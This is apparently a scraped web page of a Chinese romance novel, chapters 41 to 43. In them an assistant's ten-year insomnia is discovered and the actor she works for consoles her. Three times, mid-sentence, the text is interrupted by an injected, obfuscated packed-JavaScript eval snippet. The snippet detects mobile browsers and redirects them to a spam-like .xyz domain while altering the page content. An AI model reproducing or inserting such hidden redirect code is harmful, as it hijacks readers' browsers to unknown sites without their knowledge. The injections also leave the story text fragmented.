“我、我昨晚在剧组喝了咖啡……睡不着。” 在剧组的事情宋依依不会知道，而且萧扬也不会时时刻刻关注到她，这个理由应该足够充分。 可宋依依立刻摇摇头：“你从来不喝咖啡的。” “……昨天碰巧尝了一下。” 宋依依咬了咬嘴唇，定定地看了她几秒，突然叹了口气，站起来转身：“好吧……你不想说我就不问了。” “不是！”宁茉听着她的语气，莫名有些慌张，下意识伸手拉住她的衣角，“依依，我昨晚真的睡不着，没骗你。” 宋依依停住脚步，看向她，重新又蹲下来，拉住她的手：“我知道你没有骗我，但是……茉茉，我陪你去做个体检吧。” 宁茉立刻摇头：“不用，我没事的。” “那我陪你看医生。” “……”宁茉彻底怔住了，她突然理解了宋依依这句话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14772891|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的含义。 “茉茉，”宋依依一双眼睛望着她，眼底的光让她突然有些不敢对视，“这不正常，人怎么可以不睡觉呢？” “……” 宋依依：“不止一次了，有时候我半夜醒来，总是看到你还没睡，而且在剧组的时候，无论多晚，无论大家有多困，你都还在撑着，你简直让我觉得……你好像根本就没有睡过觉。” “怎么可能……”宁茉的声音微微有点颤抖，勉强笑出来，“我当然也睡觉了，我又不修仙。” “可是你睡得太少太少了，茉茉，”宋依依的手心很温暖，握着宁茉的手，将温度坚定地传过去，“我不知道你失眠的原因是什么，也不知道你有没有检查过，但我不能就这么看着你失眠。” 宁茉：“……” 她静静望着眼前的女孩，宋依依的目光柔和地像一汪春水，让人很轻易地就能融化在她的目光里，在这样的目光里，仿佛一切都无所遁形。 宁茉嗓音变得干哑，喉咙滞涩，连笑容都挤不出来。 房间的气氛逐渐凝固，宋依依还想说什么，放在床上的手机却突然响了，音乐瞬间铺满了整个房间，宋依依不得不起身去接电话。 看着宋依依的背影，宁茉似乎稍微放松了一点，捏着平板的边缘，手指无意识地摩挲。 宋依依接完电话，转过来看她：“……王墨催我了，我得走了，茉茉，你先休息吧。” 宁茉乖乖点了下头。 宋依依拿起收拾好的背包，又拎上门口放着的几个纸袋子，出门前再次转身看向宁茉：“你一定要睡觉啊！” 宁茉又点了点头。 房门这才很不放心地合上了。 “……” 房间里归于平静，阳光透过窗户洒在宁茉的床边，她抬头看了眼外面的太阳，沉默了许久，将压在枕头下面的手机拿了出来。 宋依依说，想陪她去检查。 ……其实她检查过的。 宁茉点开相册，将时间轴拉回两年前，那一张她拍下的照片，上面的一行小字鲜明刺眼，让当时的她如遭雷击，但现在看来，却又恍若隔世。 ——初步诊断为睡眠紊乱综合症，中度焦虑，建议配合药物治疗。 可能是习惯了，这两年宁茉已经不觉得这些病对自己是困扰了，相反的，她会享受一个人的夜晚，就好像通过这样，生命反而被延长了。 在工作日被压的喘不过来气的KPI指标后，是独属于她一个人的寂静夜晚，谁也夺不走的她的时间。 宁茉看了一会儿手机，关掉屏幕，还是按照宋依依的嘱咐，铺开被子躺下了。 睡一会儿吧，就当是养生了。 —— 商务车一路朝着剧组行驶，驾驶座的王墨突然一愣：“你说什么？她经常失眠？” 宋依依点点头，手里夹着几个小刷子，正对着展开的粉扑镜子画眼影：“是啊，每次我半夜醒过来，都没有看到她在睡觉，只有偶尔的几次她睡着了，但是我一醒来，她立刻也醒了。” 王墨皱了皱眉：“这怎么可能啊……正常人这么熬早就生病了，可我看宁茉精神奕奕的，不像是缺乏睡眠的人。” “要不是我和她住在一起，我也会以为她很健康，”宋依依画完烟影又拿起了眉笔，“但是昨晚她一晚上都没睡觉，或者说，她一晚上都没有回来。” “……什么？”坐在后排一直假寐的人突然睁开眼，深褐色的眼眸里闪过一丝错愕，“宁茉昨晚……没有回房间？” 41. 第 41 章 “对呀，”宋依依勉强画了一小半眉毛，发现坐在车里无论怎么稳定手腕都还是会抖，好好的眉毛化成了个小山，只好先放下眉笔，转过身看向萧扬，继续说道： “一晚上都没有回来，刚开始我问她她还不承认，后来被我发现她被子都没碰过，才承认的。” 萧扬怔了很久，眸色深沉：“……那她告诉你她去哪儿了吗？” 宋依依摇摇头：“没有，我问她为什么失眠，她也不告诉我。” “……”萧扬垂眸思索了几秒，又看向宋依依，“那就不要再问她了。” 宋依依点点头：“我知道，但是我觉得她这样……很不好。” “是啊，人哪能不睡觉呢，”王墨开着车的间隙还要插一嘴，“让她去做个身体检查吧，别熬坏了。” 宋依依转了转手里的眉笔：“可她好像……不怎么在意这件事。” 车里一时陷入沉寂。 …… 宁茉再醒来的时候是上午十点，她起床洗漱，顺便看了看助理群里宋依依发来的动态，萧扬这两天要拍《风暴降临》最后的大场面，天台对峙戏份，据说剧组租用了云城最高的一座大厦天台，光是前期搭景准备都准备了一个星期。 这一段也是戏里的核心冲突剧情，陈昌十分用心，全程在组里盯着。 萧扬换了身造型，身上是件黑色的棒球外套，戴着一顶鸭舌帽，面容冷峻，手里还握着一把染血的匕首。 宋依依对此只发了言简意赅的一个字：帅。 宁茉看了几组花絮视频，顺手保存在手机里，随后摸出平板，调了下两幅画稿的色，一起发给了约稿人。 这次的约稿人回复的依旧很快，不到五分钟就发来了一堆爱心和彩虹屁，并且要宁茉发誓下次还会接她的稿子，聊到最后，宁茉被她逗笑，同意下次接稿时会优先找她。 不过近期宁茉不打算再接了，她觉得自己需要再提升一下，学习一些技巧方法，上次那位画师的直播她还会时不时地看，同时她发现有不少人都会直播画画，她就像进入了知识的海洋，快乐地看每一个人直播，偶尔看的入神，一整晚就这么过去了。 想到直播，宁茉打开微博，打算看看最近有什么动态，结果刚一点开，就看到消息栏提示了99+。 她一怔，发现自己的微博多了很多评论，还有新增的关注，内容大都是夸她画的好，是氛围感的神。 宁茉找到热度最高的一条微博，发现竟然是自己前段时间画的稿子，那个背着吉他的少年，约稿人[大橘为重啊]发在了微博上，还艾特了她，特意标注是原画师，夸她人美心善脾气好画技无双，看的她自己都脸红。 评论区也是一水的夸奖，无数人顺着找到她的微博账号，翻她以前的画作，私信也被约稿塞满。 宁茉满眼都是惊喜，这些夸奖像一针强心剂，肯定了她的风格是对的，也让她看到了希望。 如果以后不做这份工作，她也许真的能够靠画画让自己不再为温饱发愁。 趁热打铁，宁茉又发了一张自己画的练习稿，这次的微博刚一发出去，评论就瞬间多了十几条。 “神仙画师！” “woc，这画怎么能美成这样！” “太太好厉害，这个色彩这个构图~神迹！” “如果太太画我推我不敢想我能有多快乐~” 最后一条评论引起了宁茉的注意，她翻了翻画稿，自己给萧扬画的两张稿子还躺在存稿箱里，一张是角色阑牧走在校园的画面，一张是萧扬拍广告时逗狗的画面，可惜这两个内容都还没有对外公开，她也不能发。 遗憾地关掉平板，宁茉重新打开手机，正巧看到一条来自萧扬的消息。 [萧扬：晚上浦世诚会过来，你不用来了。] 宁茉愣了一下，浦世诚昨天去了外地，原定是今晚才回来的，怎么提前回来了？ 萧扬很快又发了一条消息。 [萧扬：在酒店好好休息，外面很冷。] 一句话没明说，但宁茉也听懂了他的潜台词：外面的天气很冷，就别再出门乱跑了。 [宁茉：好的，谢谢老板] 发完又觉得太客套，宁茉找了个宋依依发来的表情包，转发了过去。 [宁茉：（猫咪比心.gif）] …… 萧扬收到回复时，陈昌正在喊他继续来拍摄。 放下手机的瞬间，宁茉发来的表情包跳出屏幕，一双毛绒绒的白色小猫爪，上面画了个粉色的爱心，可爱极了。 萧扬动作一顿，突然想到宁茉曾经用的那个粉色兔耳朵手机壳，换了新手机后，她用的是包装里送的透明手机壳，身上唯一鲜亮的色彩也没有了。 他已经迈开的脚步重新挪回来，点开表情栏，在一堆系统默认表情里翻了翻，却没找到合适的表情。 “微笑”显得太官方，“点赞”又显得太敷衍。 陈昌催促的声音愈发明显，萧扬只好仓促地回了个句号，放下手机重新走进片场。 …… 晚上六点，宋依依和王墨回来了。 三个人许久没能聚到一起，商量来商量去，最后决定一起去外面吃饭，找了家评分很高的烤肉店，坐下开始聊天。 宋依依依旧是话最多的那个，她一会儿吐槽片场人多到说话都得用喊的，一会儿又夸萧扬真的好帅这部戏播出一定能火，一会儿又给宁茉看自己拍的海文成和周杉的互动，大呼他们两个好有CP感。 宁茉忙着烤肉，抽空看两眼照片，不由得也跟着点点头：“确实很配。” 不知道为什么，她突然想起魏瑶，那个双马尾抱着玩偶的小女生，提到海文成时都会低头脸红。 “不过乔娜娜和萧扬哥就没有CP感，”宋依依锐评，“她那张脸看起来科技感太强了，像个伪人。” 王墨也跟着点头：“的确不像一对，但是萧扬哥在戏里看她的眼神还是很有爱的。” “那当然了，这是演员的基本素养，”宋依依撇撇嘴，“我感觉周杉和萧扬也没有CP感，虽然他们在戏里互动很多，但是脱离剧本只看人的时候，萧扬哥真的很高冷。” “……高冷？”宁茉忍不住重复了一遍，“萧扬吗？” “是呀，”宋依依看向宁茉，“你不觉得吗？虽然他对我们很好，但是他本人性格很冷诶！” 王墨附和的十分用力：“对对对，萧扬哥太酷了，冷脸的时候我都不敢往他身边站。” “……”宁茉眨眨眼，总觉得他们说的和自己认识的似乎不是一个人。 她一开始也认为萧扬很高冷，但熟悉了以后，反而觉得萧扬是个嘴硬心软的人，对视时眼神总是深情到让人误解，又喜欢逗别人，每次宁茉怼回去、以为他会生气的时候，他的脾气却又出奇的好，只是眉眼弯弯地看着宁茉。 …… “真不知道萧扬哥这样的人，会喜欢什么样的女孩子，”宋依依眼珠一转，八卦道，“不会是秦娇娇吧？” “秦娇娇？” 宁茉和王墨两个人同时问出声，又同时看向宋依依。 “是呀，”宋依依点点头，“下部剧《如意环》的女主演就是秦娇娇呀，浦哥之前说萧扬哥喜欢秦娇娇，但是这个消息被萧扬哥亲口否认了。” 王墨想到围读会上见到的秦娇娇，明艳动人，是个人看了都会心动：“不过秦娇娇真的很漂亮，和萧扬哥还挺搭的。” 宋依依点点头：“是吧？我都超想要她的签名的~不过既然萧扬哥否认了，那他们应该只是同事，还没有到暧昧的程度。” 宋依依托着下巴，幽幽道：“也不知道萧扬哥什么时候会有女朋友，我到时候一定要看看，是哪路神仙能够获得萧扬哥的芳心。” 王墨被她逗得哈哈大笑：“你说的也太夸张了。” “本来就是啊，”宋依依眨眨眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777619|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们不知道，以前有女演员向萧扬哥告白，被他当场就拒绝了，那场面……还挺难堪的。” “那个演员气的后来发了好多萧扬的黑通稿……还说他天生冷心冷性，这辈子谁也打不动。” “所以我就想看看，是什么美若天仙的妹妹或者姐姐能拿下萧扬，成为这个例外！~” 两个人聊的尽兴，宁茉却在一旁盯着烤盘出神。 直到宋依依惊呼：“呀！茉茉，烤焦了！” 宁茉这才回神，发现自己一直翻来翻去的牛肉已经烤糊了一面，成了黑漆漆的牛肉干，连带着烤盘也黑了一小片。 “……” “我来吧我来吧，你一直在烤，都没怎么吃，休息一会儿。” 宋依依主动唤来服务员更换烤盘，又拿了个夹子往烤盘上放新的肉。 宁茉放下手里的夹子，却没有吃碗里的肉，而是开始发呆。 她想起来，秦娇娇和萧扬这是第二次合作了，上一次他们合作是一部校园剧，秦娇娇演女二号，萧扬演了个追她的学弟。 那部剧里萧扬的造型稚嫩又青春，看着秦娇娇时眼神总是羞涩的，宁茉刷到过他们戏外的花絮互动，秦娇娇喜欢逗萧扬，一逗萧扬一个脸红，乐此不疲。 上次围读会见面时，秦娇娇也主动和萧扬打了招呼，还告诉陈昌他们曾经合作过，无形中抬高了萧扬的身份。 萧扬那张定妆照出现时，秦娇娇眼底更是毫不掩饰的欣赏和赞叹。 像小说里常出现的剧情，相识于微末的两个人，其中一个走向高处后，又转身向身后落魄的少年伸出了手。 他们两个连长相都美的像小说里的人物，所以天然地就会让人觉得登对。 宁茉心不在焉地拿筷子戳着碗里的调料，耳边传来宋依依的惊呼。 “呀，浦哥的飞机延误了，他说他晚上可能到不了了，让我们去个人先顶一下。” 宁茉回过神，看了眼群里的消息，很快就做了决定：“我去吧，本来今天也该我去的。” —— 宁茉赶到拍摄天台的时候已经是晚上八点，剧组正拍到关键地方，宁茉站在一旁拍了点花絮，目光正好和人群中的萧扬对上。 他正演到情绪激荡的部分，拿刀挟持着一个女孩，双眼布满红血丝，一副穷途末路的模样。 对视的瞬间，萧扬的神情怔了一下，很快又调整过来，看向对面的海文成和周杉。 这场戏拍了四遍才过，休息的时候萧扬被陈昌拉着讲戏，甚至没时间过来喝口水。 宁茉拿着他的杯子凑过去，在说话的间隙将杯子递给他，萧扬看了她一眼，笑了：“还不渴。” “好。”宁茉把杯子收回怀里，天气冷的她缩手缩脚，裹成一团坐在萧扬旁边，听着陈昌讲戏。 萧扬的眼神时不时看向她，最后终于忍不住出声：“……冷的话你先去楼下，那里有休息室。” “没关系，不冷。”宁茉摇摇头，继续缩成一团。 “……” 两分钟后，萧扬再次看向她：“回休息室吧，这里暂时不需要你。” “需要的，”宁茉用眼神示意他身上的羽绒服，“我不在，连个给你递衣服的人都没有。” “小姑娘，你还是回去吧，”陈昌忍不住开口，“你在这儿，他都没心思听我说话，你放心，衣服给我，我不会让他冻着。” 萧扬：“……” 一句话说的两个人都有点尴尬，宁茉把手里的杯子递给萧扬，起身道：“……那我先去休息室，你有事给我发消息。” 萧扬点头：“好。” 宁茉走到天台入口，拉开门走下了楼梯。 陈昌看了她的背影一眼，笑道：“萧扬，你对助理也这么好啊？” 萧扬也在看宁茉，下意识开口道：“不是助理。” 说完自己也一愣，顿了几秒，又很慢地笑了：“是……朋友。” 42. 第 42 章 萧扬收工的时候是凌晨一点，两个人坐着电梯一路向下，到了大厦的地下停车场。 宁茉习惯性地把背包放到副驾驶，下一秒萧扬坐进来，自然地拎起宁茉的背包，放到了腿上。 “……”宁茉怔了一下，伸手要去拿包，“给我吧，我放后面。” 萧扬却单手按住了背包：“没关系，很快就到了，这里离酒店很近。” “哪有老板替自己拿包的……”宁茉看着萧扬，但对方丝毫没有要动的意思，她也只能作罢，低头启动了车辆。 萧扬调低座椅，靠在椅背上看向她，看了几秒后，突然笑了。 “？”宁茉有些莫名，“怎么了？” 萧扬声音低沉，因着高强度工作了一整天，嗓音带了些沙哑的底色：“你好像总是在夜晚出现。” 宁茉眨了眨眼，自己也觉得他总结的很到位，这些天萧扬见到自己，大多数都是在寂静无人的夜里。 “大概是我比较能熬夜吧，”宁茉笑笑，“不过这样也好，我们几个助理的时间错开，更好配合工作。” “呵……”萧扬又笑了，他闭上眼睛，嘴角的弧度扬起，“好敬业啊，小助理。” 宁茉皱了皱眉，总觉得他似乎不是在夸自己，又摸不透他的意思，只能安静下来，专心地开着车。 过了几分钟，身边人的气息平稳下来，宁茉想着他多半又睡了，便在红绿灯的间隙朝右看了一眼，没想到又对上了萧扬的视线。 他竟然没有睡着，而是在看自己。 宁茉眼眸睁大了一瞬，又立刻转过头，抿了抿嘴，终于还是在对方灼热的视线中开口：“……你好像有话要说。” 萧扬低声开口：“你……” 他只说了一个字就停住了，却愈发勾起宁茉的好奇心，忍不住转头看了他一眼：“什么？” 萧扬终于开口问道：“你最近，还是经常失眠吗？” “……” 宁茉没想到他会问这个，心跳突然加快，语气也有点急促，“最近……好一点了。” “是吗？”萧扬的尾音很沉，像是在想什么事情，过了几秒，才缓缓说道。 “之前遇到你的时候，你说你是因为认床才睡不着，但现在看来……好像不止这样。” 宁茉握着方向盘的手微微用力，脖颈僵直。 萧扬抬眼看向她：“你睡不着的时候，就会去一楼咖啡厅吗？昨晚……也去了？” “……” 宁茉深吸一口气，第一反应是，宋依依果然告诉他了。 这和小朋友发现了身边同学的秘密、第一时间向老师告状有什么区别？——而且这个老师，还是宁茉很在意的老师，最怕被他发现的老师。 车内一时间陷入沉默，直到酒店的招牌出现在视线里，宁茉把车开进停车场，停好车熄了火。 深夜的停车场空无一人，周围一切都是漆黑的，只有车里各类按键上的浅淡灯光，却反而照得宁茉的眼眸愈发漆黑。 以往萧扬问到她不想回答的问题时，宁茉只要沉默，萧扬自己就会转移话题，可今天的萧扬格外执着，始终安静地注视着她，在等她的回答。 “……”宁茉缓缓开口，“你知道了。” “嗯，”萧扬应道，“昨晚我们一起回来，你……后来去了哪儿？” 总不会离开酒店，思来想去，萧扬觉得她大概率又去了一楼的咖啡厅。 宁茉垂下眼眸，昨晚那一幕重新浮现在她脑海里，她以为自己已经把这些情绪隔离开来，却原来根本没有，只需要一句话，昨晚的种种情形都会瞬间重现。 又是长久的沉默，久到连车里的灯光都逐渐熄灭，宁茉才开口。 “哪儿也没去，就在酒店的窗户前看星星。” 萧扬怔了一下：“什么？” 宁茉抬起头，隔着车窗看向夜空：“酒店走廊中间有个窗户，能看到星星。” “……” 她答非所问，萧扬的声音却有点哑：“看了一晚上？” “是呀，还挺好看的。” 她没说谎，云城的天气总是清澈透亮，和荣城常年雾霾不同，在这里晚上抬头还能看见夜空里的星星，虽然城市的灯光闪耀，但总归有那么几颗星星能够被看见。 宁茉望着它们，能看很久很久。 “宁茉。” 身边的人轻声唤她，她却有点不敢低头看回去，只是眼底空茫地望着前方。 萧扬定定地望着她，目光里隐忍着复杂的情绪：“你生病了吗？” “……” 宁茉今晚沉默的时间格外多，可有时沉默，却往往代表了无声的回答。 萧扬很慢地吸了口气，声音微微发颤：“严重吗？” 宁茉摇摇头，终于转头看向他，脸上是一贯轻松冷静的笑容：“不碍事，不影响生活，也不影响工作，你不用……” “宁茉。”萧扬却打断了她，他的语气很严肃，眼神却软的一塌糊涂，“我很担心你。” “……” 情绪比她预想的来的要猛烈，她几乎来不及反应，眼眶瞬间就红了，这只能呆呆地望着萧扬。 萧扬一字一句，说的很慢：“我问过宋依依，也看过你之前的信息……但我们还是不清楚具体原因。” “我不知道曾经发生过什么，但是宁茉，无论发生过什么，都是过去的事情了，我希望你……向前走。” “不管是什么，都不应该……也不能这样困住你。” …… 似乎又有什么东西顺着脸颊往下流，速度快到她都来不及反应。 宁茉是在看到萧扬手忙脚乱地在车上找纸巾时才意识到自己又哭了，一瞬间竟然有些懊恼：最近一个月哭的次数，比她过去十年哭的还要多，偏偏每次还都叫萧扬看到了。 在他面前，她似乎无所遁形，所有想隐藏的情绪都会被清晰地看到。 真是糟糕透了。 …… 萧扬将手里的纸巾递过去，宁茉伸手去接，相触的瞬间，萧扬只感觉她的指尖一片冰凉。 “……对不起，”萧扬眼尾发红，“我不该问的。” 宁茉轻轻摇头，垂下眼眸：“其实也没什么，我失眠很久，已经习惯了。” 停顿了几秒后，她补充道：“十年了吧。” 萧扬的拳头瞬间攥紧，指节发白：“……这么多年。” 这么多年，一个小女孩在漆黑寒冷的夜里睁眼无眠，他无法想象那个画面，甚至只是连跟着想象，心脏都会跟着发紧发酸，像被人一把用力攥紧。 萧扬安静地看着她。 宁茉很淡地笑了一下，陷入回忆里：“其实对我影响不大，虽然晚上睡的时间短，但白天有空我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786594|153489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会补觉，零零散散的睡眠时间加起来，每天也有六七个小时了。” “以前住校的时候，我怕吓到别人，没睡着的时候也会闭着眼听周围的声音，或者到阳台上看星星。” “对了，因为失眠，我还收获了一个好朋友呢，我高中时期有个室友，半夜发烧呼吸急促，还是我听到声音觉得不对劲，叫醒了她，陪她去了医务室。” “我高中学习成绩也不错，因为别人只有白天学习，我晚上睡不着的时候也会刷刷题，被别人看到了，还夸我勤奋努力、熬夜学习呢。” 她说这些话时是笑着的，萧扬的心却一点点沉下去。 这么多年，宁茉连一个知道内情的朋友都没有，如果不是宋依依发现她一整晚都没睡，萧扬自己也不会发现这件事，他明明在深夜碰见过宁茉几回，却都没有往这方面想。 宁茉就是这样安静地、淡然地面对着无数次的深夜，听着时间流逝的声音、看着一动不动的星星，却又在晨曦降临时伪装出一副正常的模样，继续她的生活。 宁茉说着说着，看见萧扬的神情，声音低下去：“你……这是什么表情。” 明明累的是她，说着这些年过往的也是她，怎么萧扬的表情看起来却比她还委屈。 萧扬垂下眼眸，又低低的重复了一遍：“对不起。” 宁茉终于忍不住笑了，这一晚上，萧扬只顾着道歉了。 她望着萧扬眸光闪烁的眼睛：“演员的共情能力就是好，只是听一听这些事情，就能……” 后面的话她没说出来，因为萧扬突然朝她靠过来，随后……很轻很慢地把她拥在了怀里。 像是抱一件易碎的珍贵瓷器，他一点力道都没有用，温柔地像一片雾，包裹着宁茉。 “……”宁茉瞬间失声，一句话都说不出来了。 萧扬的怀抱很温暖，是她从没想象过的温暖，两人的距离也从没有过这么近，宁茉清晰地感受到他的心跳，鼻尖萦绕着萧扬身上的味道，连他的呼吸都听的一清二楚。 寂静无人的寒夜里，这个怀抱温暖到让人不敢置信所处的是真实的世界，而不是……一个虚幻的美好梦境。 宁茉僵了许久，直到听到萧扬哽咽的声音。 “抱歉，我不知道。” 他语气低沉到了极点：“我不知道……这些年……你这么辛苦……” “……” 宁茉的呼吸瞬间加快，眼眶模糊到虚化了眼前的事物，眼泪毫不受控地接连涌出。 “萧扬……” 她竭力开口，声音抖的不成样子：“你真……可恶。” 为什么一定要这样，要她……彻底溃散掉所有的伪装。 她本来没打算再哭的，偏偏对方比她情绪还要激动、还要痛苦。 宁茉乍然撞进这样的情绪，像一脚踩进了陷阱，尽管知道危险，却已经失去了撤离的机会，被铺天盖地地包围。 “对不起……”萧扬感受到怀里人的颤抖，微微用力抱紧了她，“对不起。” …… 宁茉感觉到自己的眼泪不停地往下掉，怎么努力控制都停不下来，她闭上眼睛，手微微抖着想要推开萧扬，却最终无力地垂下，将头彻底埋进萧扬的肩膀里，任由情绪彻底溃散。 萧扬的怀抱太温暖了，陷阱也好、梦境也好。 此刻她不想醒来。 43. 第 43 章 凌晨两点半。 酒店感应门开启，两个身影一前一后慢吞吞走了进来。 坐在前台的服务生站起来正要开口，突然认出来人是近期在这附近拍戏的明星和他的助理，脸上顿时挤出了一个大大的职业笑容。 “晚上好，今天辛苦了。” 萧扬看了他一眼，点点头朝着电梯走，他的助理跟在他身后，似乎没听见服务生的声音，连头都没抬。 服务生向前一步：“我帮您按电梯。” “不用，”萧扬拒绝了他，随后转头看向助理，“……现在上去吗？” “嗯。”他的助理很轻地应了一声，声音有些飘忽。 服务生目送两位上了电梯，电梯门关闭的瞬间，有些疑惑地皱了皱眉。 不知道是不是他看错了，萧扬的眼睛很红，耳朵也通红，他身后的助理更是低着头一言不发，两人之间的气氛似乎有些尴尬。 …… 电梯运行到了五楼，宁茉终于抬眼：“我……回去了。” 她不敢抬头看萧扬，只听到萧扬低低应了一句，就快步走出了电梯、转身往房间走。 直到听到身后电梯门关闭的声音，宁茉才脚步一停，猛的松了口气，拍了拍胸口平息疯狂跳动的心脏。 耳根和脖子都烧的通红，宁茉从车里下来的时候脸更是红的要滴血了，眼泪糊了一脸，胡乱拿纸巾擦擦就往下跑。 丢人，实在是，太丢人了。 她不知道自己在萧扬怀里哭了多久，只知道她理智回笼的时候，指尖都要把萧扬的衣服扯坏了，萧扬整件外套都变得皱巴巴的，和早上出门时熨烫整齐的外套仿佛不是同一件，肩膀和袖口更是沾满眼泪，洇湿了一大片。 宁茉尴尬的都不敢抬头看萧扬的表情，匆匆说了句谢谢，连车钥匙都没拿就下了车，还是萧扬锁了车，一路追在她后面过来。 走廊静悄悄的，宁茉深吸一口气，觉得自己一时半会儿肯定是回不了房间了，她需要冷静一下。 转身想往另一边走，宁茉却在这个瞬间怔住了：萧扬竟然站在电梯门前看着她——他刚才随着宁茉下了电梯。 “……你，”宁茉眨眨眼，一时间不知道说什么。 萧扬举起手中的背包：“你的包忘了拿了。” “……哦。” 她迈着僵硬的步子走过去，从对方手里接过背包：“谢谢。” 转身又要走时，萧扬却问道：“你刚才，没打算回房间是吗？” “……” 宁茉很轻地吸了口气，闭了闭眼，不太想回答他的问题。 萧扬：“又要去看星星？” “……” “哪里的星星？”萧扬左右看了看，“哪一扇窗户？” 见他一副真的打算去找窗户的摸样，宁茉的脸重新泛起热度，她猛地伸手拽住萧扬的衣袖，从牙缝里挤出一句：“……别找了！” 萧扬停下动作，看向她。 宁茉重新按开电梯，把他往电梯里推，她动作粗暴，全然没有了往日温柔宁静的样子：“回你的房间去，不准再下来了。” 萧扬笑着看她的动作，丝毫没有反抗地被塞了回去，却在电梯门要关闭时按住开门按钮——电梯门又幽幽地开了。 宁茉索性跟了进来，拍掉他悬在电梯按钮前的指尖，恶狠狠按下关门键，随后一口气等电梯上升了十几层，反手拽住萧扬的手腕，拉着他一路走到房间门口。 “回去睡觉，明天早上八点的通告，你再不睡就睡不了了。” 萧扬却眨了眨眼：“我不困。” “不困也回去睡觉！” 宁茉凶巴巴地看着他，耳尖却还是红的，有些恼羞成怒的意味。 萧扬盯着她看了一会儿，越看宁茉的眼神越虚，视线焦点都有些散。 终于，在宁茉要彻底掉头走人前，萧扬掏出了房卡，房门缓缓开启，他却不舍得进去，还在看宁茉：“你也早点睡，睡不着的话就给我发消息。” “……给你发消息干什么，”宁茉脸上的温度迟迟降不下来，说话都有些结巴，“你又不能催眠。” “我可以给你放安眠曲啊，”萧扬笑眯眯的，“还可以讲睡前故事。” 宁茉沉默了两秒：“……萧老板还给员工提供这种服务啊？” “不是员工服务，是友情特供，”萧扬挑了挑眉，又补了一句，“如果你要其他服务，也可以提供，我这边什么服务都有。” “……好了，你快进去吧，”宁茉推了推他，“真的很晚了。” 萧扬走进房间，关门前又看向宁茉：“记得睡觉。” “……知道了。” …… 好不容易回了房间，宁茉轻手轻脚地洗漱完躺到床上，脑海里却还是乱糟糟的一团。 今天发生的事情太多，接连而来的汹涌情绪打的她猝不及防，大脑过载后变得有些空白，此刻慢慢一点点回过神，像是冻了多年的冰块被骤然放到温室，极度不适应周围的环境。 宁茉在被窝里翻了个身，又皱着眉缩成了一团。 ……可恶，怎么可能睡得着。 真的很可恶！ 宁茉磨了磨牙，脑海里又浮现出自己刚才哇哇大哭的模样，崩溃地一个翻身坐了起来。 萧！扬！！！ …… 手机突然亮了，宁茉低头一看，是萧扬发来的微信消息。 [萧扬：睡了吗。] 宁茉毫不犹豫地回了一句睡了。 [萧扬：果然没睡。] 宁茉咬牙切齿地回了一句：[又有什么指教？] 萧扬那边安静了半分钟，宁茉正要放下手机，下一秒，萧扬的对话框出现了三个链接： 《失眠这样做，三分钟快速入睡！》 《呼吸大法解决你的失眠困扰~》 《和失眠说拜拜，亲测好用助眠好物！》 宁茉：“……” 她缓缓地打下一个问号。 十秒后，萧扬那边又发来一个链接。 《睡不着可能是房间风水不对！五个妙招教你改善睡眠质量~》 “……”宁茉彻底沉默了。 [萧扬：物理学解决不了，考虑一下玄学。] 宁茉：[……我现在很想揍你一顿。] [萧扬：我要下来吗？] 宁茉：[……] 宁茉看了一眼手机上的时间：凌晨三点半。 凌晨三点半，两个人不睡觉，在这里胡说八道。 萧扬那边却还在发消息。 [萧扬：我真的可以下来。] 宁茉忍无可忍：[……萧扬，你对我的个人隐私太过关注了吧，是不是有点越界了？] [萧扬：……我只是关心一下朋友。] 宁茉：[我们是朋友吗？] 萧扬那边顿了一分钟。 随后他发了个哭哭的表情：[不是吗？] 宁茉：“……” 萧扬连着发了三个哭哭。 [萧扬：我认为是。] 宁茉：[朋友也有要分寸吧！] [萧扬：对不起，我下次不会这样了。] [萧扬：别想了，不丢人，睡吧。] “……” 宁茉放下手机，长长叹了口气，再次躺了下来。 奇怪的是，经过萧扬这一番打岔，她心情反而平静下来了，困意也随之涌来。 这次她闭上眼，倒是真的很快睡着了。 —— 《风暴降临》最后的天台大场面拍了整整三天。 第三天的下午，萧扬正式杀青。 “杀青快乐！！！” 剧组所有人都冲着他鼓掌，海文成和周杉两位主演更是和他合了不少影、拍了杀青视频。 宁茉抱着霍研订好的花等在一边，萧扬终于得空看向她时，就捧着花走了过去：“恭喜杀青。” “谢谢！”萧扬笑得开心，一把接过花，同时拉住想走的宁茉，“来，合个影。” 宁茉还没反应过来，就被他拉着手圈回身边，同时怀里被塞进了那束花。 “三二一！” 王墨举起相机，拍下了宁茉呆呆的表情。 “？”她终于回过神，“你杀青，为什么是我拍照？” “你们也辛苦了呀，”萧扬笑眯眯的，又冲着宋依依和王墨招手，“来，一起合影。” 